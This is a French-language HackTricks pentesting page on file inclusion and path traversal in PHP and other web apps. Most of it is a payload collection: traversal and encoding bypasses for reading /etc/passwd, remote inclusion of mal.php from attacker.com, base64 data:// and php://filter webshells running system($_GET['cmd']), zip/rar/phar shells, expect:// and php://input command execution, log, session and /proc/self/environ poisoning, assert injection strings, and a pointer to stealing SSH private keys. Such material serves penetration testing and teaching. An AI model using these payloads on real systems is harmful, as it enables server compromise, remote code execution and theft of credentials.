hacktricks/pentesting-web/file-inclusion

Inclusion de fichier/traversal de chemin

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

• Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
• Obtenez le swag officiel PEASS & HackTricks
• Découvrez La famille PEASS, notre collection exclusive de NFTs
• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.

Rejoignez le serveur HackenProof Discord pour communiquer avec des pirates expérimentés et des chasseurs de primes !

Perspectives de piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités de piratage en temps réel
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !

Inclusion de fichier

Inclusion de fichier à distance (RFI) : Le fichier est chargé à partir d'un serveur distant (Meilleur : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est désactivé par défaut (allow_url_include).
Inclusion de fichier local (LFI) : Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Aveugle - Intéressant - Fichiers LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mélangeant plusieurs listes LFI *nix et ajoutant plus de chemins, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer / pour \
Essayez également d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

Fusion de différentes listes de mots :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer / pour \
Essayez également de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Consultez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

séquences de traversée dépouillées de manière non récursive

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Contourner l'ajout de caractères à la fin de la chaîne fournie (contournement de: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Cela est résolu depuis PHP 5.4

Encodage

Vous pourriez utiliser des encodages non standards comme l'encodage d'URL double (et d'autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

À partir du dossier existant

Peut-être que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploration des répertoires du système de fichiers sur un serveur

Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, et non seulement les fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

1. Déterminer la Profondeur du Répertoire : Déterminez la profondeur de votre répertoire actuel en récupérant avec succès le fichier /etc/passwd (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :

http://example.com/index.php?page=../../../etc/passwd # depth of 3

2. Sonder les dossiers : Ajoutez le nom du dossier suspecté (par exemple, private) à l'URL, puis naviguez de nouveau vers /etc/passwd. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de un :

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4

3. Interpréter les Résultats : La réponse du serveur indique si le dossier existe :
   • Erreur / Aucune Sortie : Le dossier private n'existe probablement pas à l'emplacement spécifié.
   • Contenu de /etc/passwd : La présence du dossier private est confirmée.
4. Exploration Récursive : Les dossiers découverts peuvent être davantage explorés pour rechercher des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichier Locale (LFI).

Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Technique de Troncature de Chemin

La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.

En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

• /etc/passwd, /etc//passwd, /etc/./passwd et /etc/passwd/ sont tous traités comme le même chemin.
• Lorsque les 6 derniers caractères sont passwd, ajouter un / (le transformant en passwd/) ne modifie pas le fichier ciblé.
• De même, si .php est ajouté à un chemin de fichier (comme shellcode.php), ajouter /. à la fin n'altérera pas le fichier qui est accédé.

Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

• Utilisation de segments de points et de caractères supplémentaires : Les séquences de traversée (../) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
• Détermination du nombre de traversées requis : Par essais et erreurs, on peut trouver le nombre précis de séquences ../ nécessaires pour naviguer vers le répertoire racine puis vers /etc/passwd, en veillant à neutraliser toutes les chaînes ajoutées (comme .php) mais en maintenant le chemin souhaité (/etc/passwd) intact.
• Commencer par un répertoire fictif : Il est courant de commencer le chemin par un répertoire inexistant (comme a/). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.

Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces de contournement de filtre

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusion de Fichier à Distance

En php, cela est désactivé par défaut car allow_url_include est Off. Il doit être On pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si, pour une raison quelconque, allow_url_include est activé, mais que PHP filtre l'accès aux pages web externes, selon cet article, vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP en base64 et obtenir une exécution de code à distance (RCE) :

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} Dans le code précédent, le +.txt final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par .txt, ainsi la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté). {% endhint %}

Un autre exemple sans utiliser le protocole php:// serait :

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Élément racine Python

En python dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Il s'agit du comportement prévu selon la documentation :

Si un composant est un chemin absolu, tous les composants précédents sont jetés et le joint continue à partir du composant de chemin absolu.

Java List Directories

Il semble que si vous avez une Traversée de Chemin dans Java et que vous demandez un répertoire au lieu d'un fichier, un listing du répertoire est retourné. Cela ne se produira pas dans d'autres langages (à ma connaissance).

Top 25 parameters

Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (de ce lien):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant des wrappers et protocoles PHP

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou écriture. Il existe 5 catégories de filtres :

• Filtres de chaîne :
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
  • Notez que ce filtre a disparu des versions modernes de PHP
• Filtres de conversion :
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme en une autre codification (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de toutes les codifications prises en charge, exécutez dans la console : iconv -l

{% hint style="warning" %} En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui pourrait être utile pour écrire du texte arbitraire ou rendre un processus d'inclusion de fonction arbitraire. Pour plus d'informations, consultez LFI2RCE via php filters. {% endhint %}

• Filtres de compression :
  • zlib.deflate : Compresse le contenu (utile pour exfiltrer beaucoup d'informations)
  • zlib.inflate : Décompresse les données
• Filtres de chiffrement :
  • mcrypt.* : Obsolète
  • mdecrypt.* : Obsolète
• Autres filtres :
  • En exécutant var_dump(stream_get_filters()); en PHP, vous pouvez trouver quelques filtres inattendus :
    • consumed
    • dechunk : inverse le codage chunked HTTP
    • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} La partie "php://filter" est insensible à la casse {% endhint %}

Utilisation des filtres php comme oracle pour lire des fichiers arbitraires

Dans ce post est proposée une technique pour lire un fichier local sans avoir la sortie renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant les filtres php comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour provoquer une exception php.

Dans le post original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :

• Utilisez le codec UCS-4LE pour laisser le caractère de tête du texte au début et augmenter la taille de la chaîne de manière exponentielle.
• Cela sera utilisé pour générer un texte si grand lorsque la lettre initiale est devinée correctement que php déclenchera une erreur
• Le filtre dechunk va tout supprimer si le premier caractère n'est pas un hexadécimal, donc nous pouvons savoir si le premier caractère est hexadécimal.
• Cela, combiné avec le précédent (et d'autres filtres en fonction de la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale provoquera une erreur php.
• Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un a par exemple car si nous appliquons 6 de ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne le supprime pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
• En utilisant d'autres transformations comme rot13 au début, il est possible de divulguer d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hexadécimale).
• Lorsque le caractère initial est un chiffre, il est nécessaire de l'encoder en base64 et de divulguer les 2 premières lettres pour divulguer le chiffre.
• Le problème final est de voir comment divulguer plus que la lettre initiale. En utilisant des filtres de mémoire d'ordre comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l'ordre des caractères et d'obtenir dans la première position d'autres lettres du texte.
• Et afin de pouvoir obtenir davantage de données, l'idée est de générer 2 octets de données indésirables au début avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivoter avec les 2 octets suivants, et supprimer les données jusqu'aux données indésirables (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à ce que vous atteigniez le bit désiré à divulguer.

Dans le post, un outil pour effectuer cela automatiquement a également été divulgué : php_filters_chain_oracle_exploit.

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder respectivement aux descripteurs de fichiers 0, 1 et 2 (pas sûr de comment cela pourrait être utile dans une attaque)

zip:// et rar://

Téléchargez un fichier Zip ou Rar avec un PHPShell à l'intérieur et y accédez.
Pour pouvoir abuser du protocole rar, il doit être activé spécifiquement.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

La technique data:// permet d'inclure des données directement dans une URL, ce qui peut être exploité pour exécuter du code malveillant ou afficher des informations sensibles.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre charge utile dans les paramètres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que include pour le chargement de fichiers. L'extrait de code PHP fourni ci-dessous démontre la création d'un fichier .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit être exécutée :

php --define phar.readonly=0 create_path.php

Lors de l'exécution, un fichier nommé test.phar sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).

Dans les cas où le LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, à travers des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), une tentative d'exploitation d'une vulnérabilité de désérialisation pourrait être envisagée. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole phar.

Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar, veuillez vous référer au document lié ci-dessous :

Guide d'Exploitation de Désérialisation Phar

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

Il était possible d'abuser de n'importe quel fichier arbitraire lu depuis PHP qui prend en charge les filtres php pour obtenir une RCE. La description détaillée peut être trouvée dans ce post.
Résumé très rapide : un débordement de 3 octets dans le tas PHP a été exploité pour modifier la chaîne de blocs libres d'une taille spécifique afin de pouvoir écrire n'importe quoi à n'importe quelle adresse, donc un crochet a été ajouté pour appeler system.
Il était possible d'allouer des blocs de tailles spécifiques en abusant de plus de filtres php.

Plus de protocoles

Consultez plus de protocoles à inclure ici:

• php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichier)
• file:// — Accéder au système de fichiers local
• http:// — Accéder aux URL HTTP(s)
• ftp:// — Accéder aux URL FTP(s)
• zlib:// — Flux de compression
• glob:// — Trouver des chemins correspondant à un motif (ne renvoie rien d'imprimable, donc pas vraiment utile ici)
• ssh2:// — Shell sécurisé 2
• ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)

LFI via 'assert' de PHP

Les risques d'Inclusion de Fichier Local (LFI) en PHP sont particulièrement élevés lorsqu'il s'agit de la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela pose particulièrement problème si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais non correctement désinfectée.

Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire de la manière suivante :

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter ceci et lire le contenu des fichiers, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :

' and die(system("id")) or '

Il est important d'encoder en URL ces charges utiles.

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !

Perspectives de Hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en constante évolution grâce aux actualités et aux perspectives en temps réel

Dernières Annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Traversée de Chemin PHP en Aveugle

{% hint style="warning" %} Cette technique est pertinente dans les cas où vous contrôlez le chemin du fichier d'une fonction PHP qui va accéder à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à file()) mais le contenu n'est pas affiché. {% endhint %}

Dans cet article incroyable, il est expliqué comment une traversée de chemin en aveugle peut être exploitée via le filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.

En résumé, la technique utilise le codage "UCS-4LE" pour rendre le contenu d'un fichier si volumineux que la fonction PHP ouvrant le fichier déclenchera une erreur.

Ensuite, pour divulguer le premier caractère, le filtre dechunk est utilisé avec d'autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.

Fonctions potentiellement vulnérables : file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (cible uniquement en lecture avec ceci), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l'article mentionné !

LFI2RCE

Inclusion de Fichier à Distance

Expliqué précédemment, suivez ce lien.

Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est vulnérable à une LFI à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à /var/log/apache2/access.log ou /var/log/nginx/access.log, définir à l'intérieur de l'agent utilisateur ou à l'intérieur d'un paramètre GET une coquille PHP comme <?php system($_GET['c']); ?> et inclure ce fichier

{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour la coquille au lieu de simples guillemets, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP lancera une erreur à cet endroit et rien d'autre ne sera exécuté.

Assurez-vous également d'écrire correctement la charge utile ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième opportunité. {% endhint %}

Cela pourrait également être fait dans d'autres journaux mais soyez prudent, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la Coquille. L'en-tête authorisation "basic" contient "utilisateur: mot de passe" en Base64 et est décodé à l'intérieur des journaux. La Coquille PHP pourrait être insérée à l'intérieur de cet en-tête.
Autres chemins de journaux possibles :

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Envoyer un e-mail à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayer de l'inclure dans le courriel de l'utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

1. Téléchargez beaucoup de coquilles (par exemple : 100)
2. Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être forcé en brut) et $FD le descripteur de fichier (peut également être forcé en brut)

Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Via téléchargement de fichier Zip

Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via sessions PHP

Vérifiez si le site web utilise la session PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans des fichiers /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez le LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa

Via vsftpd logs

Les journaux du serveur FTP vsftpd se trouvent à /var/log/vsftpd.log. Dans le scénario où une vulnérabilité d'inclusion de fichier local (LFI) existe et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :

1. Injectez une charge utile PHP dans le champ nom d'utilisateur lors du processus de connexion.
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

Comme le montre cet article, le filtre PHP base64 ignore simplement les caractères non base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via filtres php (aucun fichier nécessaire)

Ce writeup explique que vous pouvez utiliser des filtres php pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via une erreur de segmentation

Téléchargez un fichier qui sera stocké de manière temporaire dans /tmp, puis dans la même requête, déclenchez une erreur de segmentation, et alors le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via le stockage de fichiers temporaires Nginx

Si vous avez trouvé une inclusion de fichier local et que Nginx est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une inclusion de fichier local même si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans les données POST multipart, PHP va activer la session pour vous. Vous pourriez en abuser pour obtenir une RCE :

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via les téléversements de fichiers temporaires dans Windows

Si vous avez trouvé une inclusion de fichier local et que le serveur fonctionne sous Windows, vous pourriez obtenir une RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une inclusion de fichier local et qu'un fichier expose phpinfo() avec file_uploads = on, vous pouvez obtenir une RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Divulgation de chemin

Si vous avez trouvé une inclusion de fichier local et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure comporte des marques PHP, vous pouvez essayer de contourner cette vérification avec cette Condition de Course :

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via attente éternelle + force brute

Si vous pouvez abuser de l'inclusion de fichier local pour téléverser des fichiers temporaires et faire suspension de l'exécution PHP du serveur, vous pourriez ensuite forcer les noms de fichiers pendant des heures pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Vers une Erreur Fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour provoquer cette erreur).

Je ne sais pas à quoi cela peut servir mais cela pourrait être utile.
Même si vous provoquez une Erreur Fatale PHP, les fichiers temporaires PHP téléversés sont supprimés.

Références

• PayloadsAllTheThings\
• PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !

